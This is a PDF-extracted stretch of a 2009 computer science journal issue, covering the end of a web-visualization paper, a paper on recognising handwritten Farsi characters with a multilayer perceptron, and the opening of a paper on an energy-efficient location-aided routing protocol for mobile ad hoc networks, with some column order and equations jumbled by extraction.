access to a website may begin by examining several visual images. Generating these images may require manipulation of several windows and widgets within the visualization tool. If the analyst then decides to examine the data quantitatively, he or she may need to return to the original window to look up values and/or switch to a different computer program in order to perform a mathematical analysis or generate statistics. These maneuvering operations are time consuming and distract users from their ultimate goals; thus, some necessary tools for these tasks should be integrated with the visualization tool to minimizing unnecessary navigation.
52
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009 [9]
could reduce demands on human memory and help users identify new patterns or relationships. V.
[10]
CONCLUSION AND FUTURE WORK
Scientists are utilizing visualization tools for doing data analysis in several disciplines. But the current visualization tools did not support “integration of insight,” an important data analysis task involving taking notes, recording and organizing ideas and images, keeping track of the data analysis history, and sharing ideas with others. Overall, visualization systems could play several roles: (a). Visually represent data to enhance data analysis, (b). Visually display users’ mental models, interpretations of the data, ideas, hypotheses, and insight, (c). help users to improve their mental models by finding supporting and contradictory evidence for their hypotheses, and (d). help users organize and share ideas. Current research in visualization is almost exclusively devoted to the first objective. Research into the others has not been greatly explored and could make a valuable addition to data analysis tools. In the above study we identify several specific directions for future work. These are • How to integrate human factors (perception and cognition theories) in the visualization techniques? • Developing and evaluating task-specific input devices to aid interaction, • Developing tools that provide cognitive support for insight and organization of ideas.
[11]
[12] [13] [14] [15]
[16]
[17]
[18] [19] [20]
[21]
[22]
ACKNOWLEDGMENT Author is grateful to the technical reviewers for the comments, which improved the clarity and presentation of the paper.
[23]
[24]
REFERENCES [1] [2] [3]
[4]
[5] [6]
[7]
[8]
Banissi, E., “Information Visualization”. Encyclopedla of computer science and technology, 2000. Vol. 42(27). J. Pitkow and Krishna K. Bharat. “Webviz: A tool for world wide web access log analysis”. In First International WWW Conference, 1994. Cugini, J. and J. Scholtz. VISVIP: 3D Visualization of Paths through Web Sites. In Proceedings of International Workshop on Web-Based Information Visualization (WebVis '99). Florence, Italy: IEEE Computer Society, 1999. Baldi, P., Frasconi, P. and Smith, P. “Modeling the Internet and the Web: Probabilistic Methods and Algorithms”. Wiley, ISBN 0-47084906-1, (2003). Chen, C. “Information Visualisation and Virtual Environments”. Springer-Verlag, ISBN 1-85233-136-4, (1999). Cockburn, A. and McKenzie, B. “What Do Web Users Do? An Empirical Analysis of Web Use”. Intl. J. Human-Computer Studies 54 (6), (2000). 903-922. Herder, E. and Juvina, “I. Discovery of Individual Navigation Styles”. Proc. of Workshop on Individual Differences in Adaptive Hypermedia at Adaptive Hypermedia 2004 (2004). Herder,E. and Van Dijk, B. “Site Structure and User Navigation: Models, Measures and Methods”. In Adaptable and Adaptive Hypermedia Systems, edited by S.Y. Chen and G.D. Magoulas, (2004), 19-34.
[25]
[26]
[27] [28]
[29]
[30]
[31] [32]
53
Herman, I., Melançon, G. and Marshall, M.S. “Graph Visualization and Navigation in Information Visualization: A Survey”. IEEE Trans. Visualization and Computer Graphics 6 (1), (2000), 24-43. McEneaney, J.E. “Visualizing and Assessing Navigation in Hypertext”. Proc. Hypertext ’99, (1999), 61-70. Waterson, S.J., Hong, J.I., Sohn, T. and Landay, J.A. “What Did They Do? Understanding Clickstreams with the WebQuilt Visualization System”. Proc. Advanced Visual Interfaces (2002). VisualInsights. eBizinsights. 2001. http://www.visualinsights.com. http://www.almaden.ibm.com/cs/quest/publications.ht /ml#associations http://www.sgi.com/software/mineset Barry G. Becker. Volume Rendering for Relational Data. In John Dill and Nahum Gershon, editors, Proceedings of Information Visualization ‘97, pages 87-90, Phoenix, Arizona, October 20 - 21, 1997. IEEE Computer Society Press. Barry G. Becker. Visualizing Decision Table Classifiers. In Graham Wills, and John Dill, editors, Proceedingsof Information Visualization ‘98, pages 102-105, Research Triangle Park, North Carolina, October 19 -20, 1998. IEEE Computer Society Press. Christopher Westphal and Teresa Blaxton. Data mining solutions Methods and Tools for Solving Real-Word Problems, New York, 1998. John Wiley and Sons, Inc. C. Ware, Information Visualization: Perception for Design. San Francisco: Morgan Kaufmann (Academic Press), 2000. MIT Project Oxygen. http://oxygen.lcs.mit.edu/. S. L. Rohall, D. Gruen, P. Moody, M. Wattenberg, M. Stern, B. Kerr, B. Stachel, K. Dave, R. Armes, and E. Wilcox. Remail: a reinvented email prototype. In Extended abstracts of the 2004 Conference on Human Factors in Computing Systems,CHI 2004, Vienna, Austria, April 24 - 29, 2004, pages 791–792, 2004. P. Rheingans, “Are We There Yet? Exploring with Dynamic Visualization,” IEEE Computer Graphics and Applications, vol. 22, no. 1, pp. 6-10, Jan./Feb. 2002. D. Tang, C. Stolte, and P. Hanrahan, “Polaris: A System for Query, Analysis and Visualization of Multidimensional Relational Databases”, IEEE Trans. Visualization and Computer Graphics, vol. 8, no. 1, pp. 5265, Jan.-Mar. 2002. N. Lopez, M. Kreuseler, and H. Schumann, “A Scalable Framework for Information Visualization,” IEEE Trans. Visualization and Computer Graphics, vol. 8, no. 1, pp. 39-51, Jan.-Mar. 2002. D. Asimov, “The Grand Tour: A Tool for Viewing Multidimensional Data,” SIAM J. Science & Statistical Computing, vol. 6, pp. 128-143, 1985. D.F. Swayne, D. Cook, and A. Buja, “User's Manual for XGobi: A Dynamic Graphics Program for Data Analysis,” Bellcore technical memorandum, 1992. E.A. Bier, M.C. Stone, K. Pier, W. Buxton, and T. DeRose, “Toolglass and Magic Lenses: The See-Through Interface,” Proc. SIGGRAPH '93, pp. 73-80, 1993. A. Spoerri, “Infocrystal: A Visual Tool for Information Retrieval,” Proc. Visualization '93, pp. 150-157, 1993. R. Rao and S.K. Card, “The Table Lens: Merging Graphical and Symbolic Representation in an Interactive Focus+Context Visualization for Tabular Information,” Proc. Human Factors in Computing Systems CHI 94 Conf., pp. 318-322, 1994. B.B. Bederson and J.D. Hollan, “Pad++: A Zooming Graphical Interface for Exploring Alternate Interface Physics,” Proc. Seventh Ann. ACM Symp. User Interface Software and Technology (UIST), pp. 17-26, 1994. R. Spence and M. Apperley, “Data Base Navigation: An Office Environment for the Professional,” Behaviour and Information Technology, vol. 1, no. 1, pp. 43-54, 1982. G. Furnas, “Generalized Fisheye Views,” Proc. Human Factors in Computing Systems CHI 86 Conf., pp. 18-23, 1986. P.F Velleman, Data Desk 4.2: Data Description. Ithaca, N.Y.: Data Desk, 1992.
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009 [33] M.Q.W. Baldonado, A. Woodruff, and A. Kuchinsky, “Guidelines for Using Multiple Views in Information Visualization,” Proc. Working Conf. Advanced Visual Interfaces, pp. 110-119, 2000. [34] A.F. Blackwell et al., “Cognitive Dimensions of Notations: Design Tools for Cognitive Technology,” Proc. Cognitive Technology, pp. 325341, 2001. [35] S. Daly, “The Visible Differences Predictor: An Algorithm for the Assessment of Image Fidelity,” Digital Images and Human Vision, A.B. Watson, ed., pp. 179-206, Cambridge, Mass.: MIT Press, 1993. [36] B. Fro¨hlich et al., “Cubic-Mouse-Based Interaction in Virtual Environments,” IEEE Computer Graphics and Applications, vol. 20, no. 4, pp. 12-15, July/Aug. 2000. [37] K. Hinckley et al., “A Survey of Design Issues in Spatial Input,” Proc. ACM Symp. User Interface Software and Technology, pp. 213-222, 1994. [38] K. Hinckley et al., “Passive Real-World Interface Props for Neurosurgical Visualization,” Proc. Conf. Human Factors in Computing Systems, pp. 452-458, 1994. [39] V. Interrante, H. Fuchs, and S.M. Pizer, “Conveying the 3D Shape of Smoothly Curving Transparent Surfaces via Texture,” IEEE Trans. Visualization and Computer Graphics, vol. 3, no. 2, pp. 98-117, Apr.June 1997. [40] R. Kosara, S. Miksch, and H. Hauser, “Semantic Depth of Field,” Proc. IEEE Symp. Information Visualization, pp. 97-104, 2001. [41] J. Lubin, “A Visual Discrimination Model for Imaging System Design and Evaluation,” Vision Models for Target Detection and Recognition, E. Peli, ed., pp. 245-283, World Scientific, 1995. [42] R.L. Mack and J. Nielsen, “Usability Inspection Methods: Executive Summary,” Readings in Human-Computer Interaction: Toward the Year 2000, second ed., R.M. Baecker et al., eds., pp. 170-181, San Francisco: Morgan Kaufmann, 1995. [43] M. Reddy, “Perceptually Optimized 3D Graphics,” IEEE Computer Graphics and Applications, vol. 21, no. 5, pp. 68-75, Sept./Oct. 2001.
Computer Engineering in Institute of Engineering & Technology (IET), Devi Ahilya University, Indore. He has experience of over 21 years in the field of academics and research. His field of study is grammatical inference, machine learning, web mining, and information retrieval. He has published more than 25 research papers and has authored a book. R. S. Kasana completed his bacholar’s degree in 1969 from Meerut University, Meerut, UP, India. He completed his master’s degree in Science (M.Sc.-Physics) and master’s degree in technology (M. Tech.-Applied Optics) from I.I.T. New Delhi, India. He completed his doctoral and post doctoral studies from Ujjain University in 1976 in Physics and from P. T. B. Braunschweig and Berlin, Germany & R.D. Univ. Jabalpur correspondingly. He is a senior Professor and HoD of Computer Science and Applications Department of Dr. H. S. Gour University, Sagar, M P, India. During his tenure he has worked as vice chancellor, Dean of Science Faculty, Chairman Board of studies. He has more than 34 years of experience in the field of academics and research. Twelve Ph. D. has awarded under his supervision and more than 110 research articles/papers has published.
AUTHORS PROFILE Ratnesh Kumar Jain is Ph. D. student at Dr. H. S. Gour Central University (formerly, Sagar University) Sagar, M P, India. He completed his bachelor’s degree in Science (B. Sc.) with Electronics as special subject in 1998 and master’s degree in computer applications (M.C.A.) in 2001 from Dr. H. S. Gour University, Sagar, MP, India. His field of study is Operating System, Data Structures, Web mining, and Information retrieval. He has published more than 5 research papers and has authored a book. Suresh Jain completed his bachelor’s degree in civil engineering from Maulana Azad National Institute of Technology (MANIT) (formerly, Maulana Azad College of Technology) Bhopal, M.P., India in 1986. He completed his master’s degree in computer engineering from S.G. Institute of Technology and Science, Indore in 1988, and doctoral studies (Ph.D. in computer science) from Devi Ahilya University, Indore. He is professor of
54
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
Handwritten Farsi Character Recognition using Artificial Neural Network Reza gharoie ahangar, Azad University.
Mohammad Farajpoor Ahangar,Babol University.
The master of business administration of Islamic Azad University - Babol branch & Membership of young researcher club, Iran.
[email protected] .
University of medical sciences of Babol, Iran. & Membership of young researcher club, Iran
[email protected]
Abstract-Neural Networks are being used for character recognition from last many years but most of the work was confined to English character recognition. Till date, a very little work has been reported for Handwritten Farsi Character recognition. In this paper, we have made an attempt to recognize handwritten Farsi characters by using a multilayer perceptron with one hidden layer. The error backpropagation algorithm has been used to train the MLP network. In addition, an analysis has been carried out to determine the number of hidden nodes to achieve high performance of backpropagation network in the recognition of handwritten Farsi characters. The system has been trained using several different forms of handwriting provided by both male and female participants of different age groups. Finally, this rigorous training results an automatic HCR system using MLP network. In this work, the experiments were carried out on two hundred fifty samples of five writers. The results showed that the MLP networks trained by the error backpropagation algorithm are superior in recognition accuracy and memory usage. The result indicates that the backpropagation network provides good recognition accuracy of more than 80% of handwritten Farsi characters.
recognition system for Farsi language [5].In this paper, we exploit the use of neural networks for off-line Farsi handwriting recognition. Neural networks have been widely used in the field of handwriting recognition [6, 8]. The present work describes a system for offline recognition of Farsi script, a language widely spoken in Iran. In this paper, we present MLP network for the handwritten Farsi character recognition and develop an automatic character recognition system using this network. II. FARSI LANGUAG Farsi, which is a Iranian language, is one of the oldest languages in the world. There are 32 characters in Farsi language and is written from right to left. A set of handwritten Farsi character is shown in Figure1.
Key Words: Farsi character recognition, neural networks, multilayer perceptron (MLP) back propagation algorithm.
I. INTRODUCTION Handwritten character recognition is a difficult problem due to the great variations of writing styles, different size and orientation angle of the characters. Maybe among different branches of handwritten character recognition, it is easier to recognize Persian alphabets and numerals than Farsi characters. There have been only a few attempts made in the past to address the recognition of handwritten Farsi Characters [2].Character recognition is an area of pattern recognition that has been the subject of considerable research during the last some decades. Many reports of character recognition of several languages, such as Chinese [7], Japanese, English [3, 14, 15], Arabic [10, 11] and Farsi [5] have been published but still recognition of handwritten Farsi characters using neural networks is an open problem. Farsi is a first official Iranian language and it is widely used in many Iranian states. In many Iranian offices such as passport, bank, sales tax, railway, embassy, etc.: the Farsi languages are used. Therefore, it is a great importance to develop an automatic character
Figure1. A set of Handwritten Farsi Characters [5] III. PREPROCESSING The handwritten character data samples were acquired from various students and faculty members both male and female of different age groups. Their handwriting was sampled on A4 size paper. They were scanned using flat-bed scanner at a resolution of 100dpi and stored as 8-bit grey scale images. Some of the common operations performed prior to recognition are smoothing, thresholding and skeletonization [2]. A. Image Smoothing The task of smoothing is to remove unnecessary noise present in the image. Spatial filters could be used. To
55
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
reduce the effect of noise, the image is smoothed using a Gaussian filter [2].
technique [1]. A brief description of this network is presented in this section.
B. Skeletonization We have initialized the mouse in graphics mode so that a character can be directly written on screen. The skeletonization process has been used to binary pixel image and the extra pixels which do not belong to the backbone of the character, were deleted and the broad strokes were reduced to thin lines. Skeletonization process is illustrated in Figure2. A character before and after skeletonization is shown in Figure 2a and 2b respectively [1].
C. Multilayer Perceptron Network The Multilayer Perceptron Network may be formed by simply cascading a group of single layer perceptron network; the output of one layer provides the input to the subsequent layer [16, 17]. The MLPN with the EBP algorithm has been applied to the wide variety of problems [1-17]. We have used a two-layer perceptron i.e. single hidden layer and output layer. A structure of MLP network for Farsi character recognition is shown in Figure3.
C. Normalization After skeletonization process, we used a normalization process, which normalized the character into 30x30-pixel character and it was shifted to the left and upper corner of pixel window. The final skeltonized and normalized character is shown in Figure 2c, which was used as an input of the neural network. The Skeletonization and Normalization process were used for each character [1].
ي Figure3. Multilayer Perceptron Network [1] The activation function of a neuron j can be expressed as: Fj(x) = 1/ (1+e-net), where net = ∑WijOi (1)
Figure2. Skeletonization and Normalization process of a Farsi characters [1].
Where Oi is the output of unit i, Wij is the weight from unit i to unit j.The generalized delta rule algorithm [1, 16, and 17] has been used to update the weights of the neural network in order to minimize the cost function: (2) E = ½ (∑ (Dpk -Opk)) 2 Where Dpk and Opk are the desired and actual values, respectively, of the output unit k and training pair p. Convergence is achieved by updating the weights by using the following formulas: (3) Wij (n+l) =Wij (n) +∆Wij (n) (4) ∆Wij (n) =ηδXJ +α (Wij (N)-Wij (n-1) Where η is the learning rate, α is the momentum, Wij (n) is the weight from hidden node i or from an input to node j at nth iteration, Xi is either the output of unit i or is an input, and δj is an error term for unit j. If unit j is an output unit, then δ j = Oj (1-Oj) (Dj-Oj) (5) If unit j is an internal hidden unit, then δ j = Oj (1-Oj) ∑ δkWkj.. (6)
IV. NEURAL NETWORK A. Recognition Recognition of handwritten letters is a very complex problem. The letters could be written in different size, orientation, thickness, format and dimension. These will give infinity variations. The capability of neural network to generalize and be insensitive to the missing data would be very beneficial in recognizing handwritten letters. The proposed Farsi handwritten character recognition system uses a neural network based approach to recognize the characters. Feed forward Multi Layered Perceptron (MLP) network with one hidden layer trained using back-propagation algorithm has been used to recognize handwritten Farsi characters [1, 2]. B. Structure Analysis of Backpropagation Network The recognition performance of the Backpropagation network will highly depend on the structure of the network and training algorithm. In the proposed system, Backpropagation algorithm has been selected to train the network. It has been shown that the algorithm has much better learning rate. The number of nodes in input, hidden and output layers will determine the network structure. The best network structure is normally problem dependent, hence structure analysis has to be carried out to identify the optimum structure [2]. We have used multilayer perceptron trained by Error Backpropagation (EBP) neural network classification
V. EXPERIMENTAL RESULT A. Character Database We have collected 250 samples of handwritten Farsi characters written by ten different persons 25 each directly on screen. We have used 125 samples as a training data (training set) and remaining 125 samples as a test data (test set). B. Character Recognition with MLPN We have implemented an automatic handwritten Farsi character recognition system using Multi- Layer Perceptron
56
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
(MLP) network in C/C++ language. A complete system may be shown in Figure 4.
Handwritten Characters
Character conversion into Pixels (1 or0)
Skeletonization and Normalization
Compression
Pattern Recognition
samples from ( )ۑto()اﻟﻒ. The network has been trained using the EBP algorithm as described in Section 4 and was trained until mean square error between the network output and desired output falls bellow 0.05. The weights were updated after each pattern presentation. The learning rate and momentum were 0.2 and 0.1 respectively. The results are shown in following Table1.
ۑ Binary Character
Input of the MLPN
No. of hidden units
30x30
12 24 36
No. of itera tion 200 200 200
Trai ning time (s) 1625 3125 4750
Recognition Accuracy (%) Training Test Data Data 100 80 100 85 100 80
Table 1.Results of handwritten Farsi characters using MLPN
Normalization 30x30 bits
This table indicates network results for different states. For MLP network with 20,24 and 36 neurons in middle layer and with equal iteration, you will observe different quantities for predicting precision, and we see that network with 24 neurons give us response equal with 85 in test series, which is the most desirable answer than the others.
Compress into 10x10 bits
VI. DISCUSSION The results presented in previous subsections shows that 24 hidden units give the best performance on training set and test set for MLP network. The MLP networks takes longer training time because they use iterative training algorithm such as EBP, but shorter classification time because of simple dotproduct calculations. Here we should point to this issue that network with more neurons in the middle layer is not a better measure for network functioning, as we see that with increased neurons of middle layer, there is no improvement in the response of network.
Clasifier MLPN
Output Figure4: A System for Farsi Character Recognition
VII. CONCLUSION In this paper, we have presented a system for recognizing handwritten Farsi characters. An experimental result shows that backpropagation network yields good recognition accuracy of 85%. The methods described here for Farsi handwritten character recognition can be extended for other Iranian scripts by including few other preprocessing activities. We have demonstrated the application of MLP network to the handwritten Farsi character recognition problem. The skeletonized and normalized binary pixels of Farsi cliaracters were used as the inputs of the MLP network. In our further research work, we would like to improve the recognition accuracy of network for Farsi character recognition by using more training samples written by one person and by using a good feature extraction system. The training time may be reduced by using a good feature extraction technique and instead of using global input, we may
We have initialized the mouse in graphics mode due to which we can write directly on screen with mouse. Once character has been written on screen, it is converted into binary pixels. After that, we perform a normalization process that converts the character represented in binary form into 30x30 bits. In next step, we compress the 30x30 bits into 10x10 bits. After that we apply neural network classifier in order to recognize the Farsi character. We have coded the Farsi character and made the Backpropagation neural network to achieve the coded value i.e. Supervised learning. For example for the character ()ۑ, we have code 1 and made the network to achieve this value by modifying the weight functions repeatedly. Each MLP network uses two-layer feedfomard network [4] with nonlinear sigmoidal functions. Many experiments with the various numbers of hidden units for each network were carried out. In this paper, we have taken one hidden layer with flexible number of neurons and output layer with 05 neurons because we have collected the
57
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
[12] J. Hertz, A. Krogh and R. Palmer, "Introduction to the theory of neural computation," Addison-Wesley Publishing Company, USA, 1991.
use the feature input along with other neural network classifier. REFERENCES
[13] K. Yamada and H. Kami, "Handwritten numeral network with recognition by multilayered neural improved learning algorithm," IJCNN Washington DC, vol. 2, pp. 259-266, 1989.
[1] Verma B.K, “Handwritten Hindi Character Recognition Using Multilayer Perceptron and Radial Basis Function Neural Network”, IEEE International Conference on Neural Network, vol.4, pp. 2111-2115, 1995.
[14] P. Morasso, "Neural models of cursive script handwriting," IJCNN, WA, vol. 2, pp. 539-542, June 1989.
[2] Sutha.J, Ramraj.N, “Neural Network Based Offline Tamil Handwritten Character Recognition System”, IEEE International Conference on Computational Intelligence and Multimedia Application,2007 Volume 2,1315,Dec.2007,Page(s):446-450,2007.
[15] S.J. Smith and M.O. Baurgoin, "Handwritten character classification using nearest neighbor in large database," IEEE Trans. on Pattem and Machine Intelligence, vol. 16, no 10, pp. 915-919, Oct. 1994
[3] A. Rajawelu, M.T. Husilvi, and M.V.Shirvakar, "A neural network approach to character recognition." IESEE Trans. on Neural Networks, vol. 2, pp. 307-393, 1989,
[16]. Neural Computing Theory and Practices by Philip D. Wasserman. [17]. Neural Networks, Fuzzy Logic, and Genetic Algorithms by S. Rajasekaran and G.A. Vijaylakshmi Pai.
[4] W.K. Verma, "New training methods for multilayer perceptrons," Ph.D Dissertation, Warsaw Univ. of Technology, Warsaw, March 1995. [5] B. Parhami and M. Taragghi, "Automatic recognition of printed Farsi text," Pattern Recognition, no. 8, pp. 787-1308, 1990. [6] C.C. Tappert, C.J. Suen and T. Wakahara,"The state of the art in outline handwriting recognition," IEEE Trans. on Pattern Analysis and Machine Intelligence, vol.PAMI-12, no.8, pp.707-808, 1990. [7] D.S. Yeung, "A neural network recognition system for handwritten Chinese character using structure approach," Proceeding of the World Congress on Computational Intelligence, vo1.7, pp. 4353-4358, Orlando, USA, June 1994. [8] D.Y. Lee, "Handwritten digit recognition using K nearestneighbor, radial basis function and backpropagation neural networks," Neural computation, vol. 3, 440- 449. [9] E. Cohen, 1.1. Hull and S.N. Shrikari, "Control structure for interpreting handwritten addresses," IEEE Trans. on Pattern Analysis and Machine Intelligence, vol. 16, no. 10, pp. 1049-1055, Oct. 1994. [10] H. Almualim and S . Yamaguchi, "A method for recognition of Arabic cursive handwriting," IEEE Trans. on Pattern and Machine Intelligence, vol. PAMI-9, no 5, pp.715722, Sept. 1987. [11] I.S.I. Abuhaiba and S.A. Mahmoud, "Recognition of characters," PA&MI vol.16, no handwritten cursive Arabic 6, pp. 664672, June 1994.
58
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
Energy Efficient Location Aided Routing Protocol for Wireless MANETs Mohammad A. Mikki Computer Engineering Department IUG Gaza, Palestine
[email protected]
Abstract— A Mobile Ad-Hoc Network (MANET) is a collection of wireless mobile nodes forming a temporary network without using any centralized access point, infrastructure, or centralized administration.
establishing the connection from source to destination. When a source MN wants to send data to a destination MN, it searches the routing table to find a destination MN match. The advantage of such a method is that the route is already known. But the disadvantage is that the control packets overhead is large since they are sent periodically to maintain all routes although not all routes will be necessarily used. Thus, the limited network bandwidth is consumed by control overhead. An example of proactive routing protocol is DSDV [9].
In this paper we introduce an Energy Efficient Location Aided Routing (EELAR) Protocol for MANETs that is based on the Location Aided Routing (LAR). EELAR makes significant reduction in the energy consumption of the mobile nodes batteries by limiting the area of discovering a new route to a smaller zone. Thus, control packets overhead is significantly reduced. In EELAR a reference wireless base station is used and the network's circular area centered at the base station is divided into six equal sub-areas. At route discovery instead of flooding control packets to the whole network area, they are flooded to only the sub-area of the destination mobile node. The base station stores locations of the mobile nodes in a position table. To show the efficiency of the proposed protocol we present simulations using NS-2. Simulation results show that EELAR protocol makes an improvement in control packet overhead and delivery ratio compared to AODV, LAR, and DSR protocols.
In Reactive routing protocols, the routes are discovered only when the source MN needs to transmit data packets. Thus, the control packets are broadcasted just when there are data to be transmitted. So, the broadcast overhead is reduced. In these protocols, there are two phases to establish routes to destination. These two phases are route discovery and route maintenance. Since the nature of the ad hoc network is highly mobile, the topology of the network is changed often. When the route to destination is broken, the route maintenance phase is started to keep route available. This method suffers from large end to end delay to have route available before sending data packets in large networks. An example of reactive routing protocol is DSR [5].
Keywords: Location Aided Routing, MANET, mobile nodes, route discovery, control packet overhead
I.
INTRODUCTION
A mobile ad hoc network (MANET) consists of a group of mobile nodes (MNs) that communicate with each other without the presence of infrastructure. MANETs are used in disaster recovery, rescue operations, military communication and many other applications. In order to provide communication throughout the network, the mobile nodes must cooperate to handle network functions, such as packet routing. The wireless mobile hosts communicate in a multihop fashion. In multi-hop wireless ad-hoc networks, designing energy-efficient routing protocols is critical since nodes have very limited energy, computing power and communication capabilities. For such protocols to scale to larger ad-hoc networks, localized algorithms need to be proposed that completely depend on local information. The key design challenge is to derive the required global properties based on these localized algorithms.
Hybrid routing protocols include the advantages of both proactive and reactive protocols. Each MN defines two zones: the inside zone and the outside zone. Each node maintains a neighbor table with n MN hops. These MNs are considered to be in the inside zone of the node. Thus, the hybrid protocols act as proactive protocols in the inside zone and reactive protocols in the outside zone. Each node periodically broadcasts control packets in the inside zone to build a routing table for all MNs in the inside zone. When a node wishes to send data to a destination node that resides in the outside zone, it uses a reactive protocol. Thus, a route discovery phase is invoked to establish the route to the destination MN. An example of Hybrid routing protocols is ZRP [14]. When the routing protocol does not use the location information of the mobile node, then the routing is topologybased routing protocol. If the position information is used in the routing protocol, then the routing is position-based routing protocol [15], [16]. There are two methods of forwarding data packets in position-based routing: greedy
In ad hoc networks, the routing protocols are divided into three categories: Proactive, Reactive and Hybrid. In Proactive routing protocols, each MN maintains a routing table where control packets are broadcasted periodically within the whole network. This means that the routes to destination MNs are computed at a regular time before
59
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
forwarding and directional flooding [23]. In greedy forwarding, the next hop node is the closest in distance to destination. Greedy Perimeter Stateless Routing Protocol (GPSR) uses the greedy forwarding [6]. In the directional flooding [19], the source node floods data packets in a geographical area towards the direction of the destination node. Location Aided Routing (LAR) uses directional forwarding flooding [1], [19].
The Dynamic Source Routing (DSR) protocol is a simple and efficient routing protocol designed specifically for use in multi-hop wireless ad hoc networks of mobile nodes. DSR allows the network to be completely self-organizing and self-configuring, without the need for any existing network infrastructure or administration. The protocol is composed of the two mechanisms: route discovery and route maintenance, which work together to allow nodes to discover and maintain source routes to arbitrary destinations in the ad hoc network [5]. The DSR protocol is triggered by a packet generated at the sending node for a destination node whose IP address is (or can be) known to the sending node. When a node has a packet to send to a destination it first checks its cache if a path to the destination is already known. If the path is not available then the route discovery mechanism is initiated. Route Discovery allows any host in the ad hoc network to dynamically discover a route to any other host in the ad hoc network. The Route Maintenance procedure monitors the operation of the routes and informs the sender of any routing errors. Route maintenance is required by all routing protocols, especially the ones for MANETs due to very high probability of routes being lost [11]. The use of source routing allows packet routing to be trivially loop-free, avoids the need for up-to-date routing information in the intermediate nodes through which packets are forwarded, and allows nodes forwarding or overhearing packets to cache the routing information in them for their own future use. All aspects of the protocol operate entirely on-demand, allowing the routing packet overhead of DSR to scale automatically to only that needed to react to changes in the routes currently in use [17].
In the position-based routing protocols, an MN uses a directional antenna or GPS system to estimate its (x, y) position. If GPS is used, every node knows it's (x, y) position assuming z = 0. Fig. 1 shows two mobile nodes with their positions determined using GPS. The positions of the two mobile nodes in Fig. 1 are (x1, y1) and (x2, y2) respectively. Using Fig. 1, the distance d between the two MNs is calculated using (1). The angle θ is defined as shown in Fig. 1 and is calculated using (2).
2
2
1
1
(1)
tan
(2)
When directional antennas are used, the distance between two MNs and Angle of Arrival (AoA) are estimated according to the directional arrival. The strength of the signal is used to estimate the distance between two nodes and the estimate of θ is obtained from the Angle of Arrival (AoA) [12], [13]. The rest of the paper is organized as follows: Section II presents related work. Section III presents EELAR approach. Section IV validates the proposed approach. Finally, section V concludes the paper. II.
The Multipoint Relays (MPR) technique efficiently fulfills the flooding function in wireless networks. It is a technique to reduce the number of redundant re-transmission while diffusing a flooding packet throughout the entire network. Each node N in the network selects some neighbors as its Multipoint Relays (MPR). Only these neighbors will retransmit the flooding packets broadcasted by node N. These nodes called 2-hop neighbors whose distance to N is 2 hops. The MPR selection algorithm should guarantee that the flooding packets from N will be received by all its 2-hop neighbors after re-broadcast of N's MPRs.
RELATED WORK
In this section we present some of the most important routing protocols used in wireless mobile ad hoc networks.
▲ 2
(x1,y1)
▲
1
2
(x2,y2)
Location-Aided Routing (LAR) protocol is an approach that decreases overhead of route discovery by utilizing location information of mobile hosts. Such location information may be obtained using the global positioning system (GPS) [1], [6], [7], [8], [19]. LAR uses two flooding regions, the forwarded region and the expected region. LAR protocol uses location information to reduce the search space for a desired route. Limiting the search space results in fewer route discovery messages [1], [19]. When a source node wants to send data packets to a destination, the source node first should get the position of the destination mobile node by contacting a location service which is responsible of mobile nodes positions. This causes a connection and tracking problems [8], [10]. Two different LAR algorithms have been
1
θ ▲ Mobile node
Figure 1. Position-based routing protocol that uses GPS to determine mobile nodes (x,y) positions
60
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
presented in [19]: LAR scheme 1 and LAR scheme 2. LAR scheme 1 uses expected location of the destination (so-called expected zone) at the time of route discovery in order to determine the request zone. The request zone used in LAR scheme 1 is the smallest rectangle including current location of the source and the expected zone for the destination. The sides of the rectangular request zone are parallel to the X and Y axes. When a source needs a route discovery phase for a destination, it includes the four corners of the request zone with the route request message transmitted. Any intermediate nodes receiving the route request then make a decision whether to forward it or not, by using this explicitly specified request zone. Note that the request zone in the basic LAR scheme 1 is not modified by any intermediate nodes. On the other hand, LAR scheme 2 uses distance from the previous location of the destination as a parameter for defining the request zone. Thus, any intermediate node J receiving the route request forwards it if J is closer to or not much farther from the destination's previous location than node I transmitting the request packet to J. Therefore, the implicit request zone of LAR scheme 2 becomes adapted as the route request packet is propagated to various nodes.
of mobile nodes with the goal of decreasing routing-related overhead in mobile and ad hoc networks. It uses location information of the mobile nodes to limit the search for a new route to a smaller area of the ad hoc network which results in a significant reduction in the number of routing messages and therefore the energy consumption of the mobile nodes batteries is decreased significantly. In order to reduce the control overhead due to broadcast storm in the network when control packets are flooded into whole network (as in DSR protocol for example) EELAR uses a wireless base station (BS) that covers all MNs in the network. BS divides the network into six areas as shown in Fig. 2. In order for BS to efficiently route packets among MNs, it keeps a Position Table (PT) that stores locations of all MNs. PT is built by BS through broadcasting small BEACON packets to all MNs in the network. MNs local positions are estimated from directional antennas, the distance between the MN and BS is estimated using the strength of the signal from MN to BS, and the angle of arrival (AoA); θ (which is the angle of the mobile node from which the packet arrives to BS) is estimated using directional antenna of the MN. Based on the AoA, BS can determine the network area in which each MN is located.
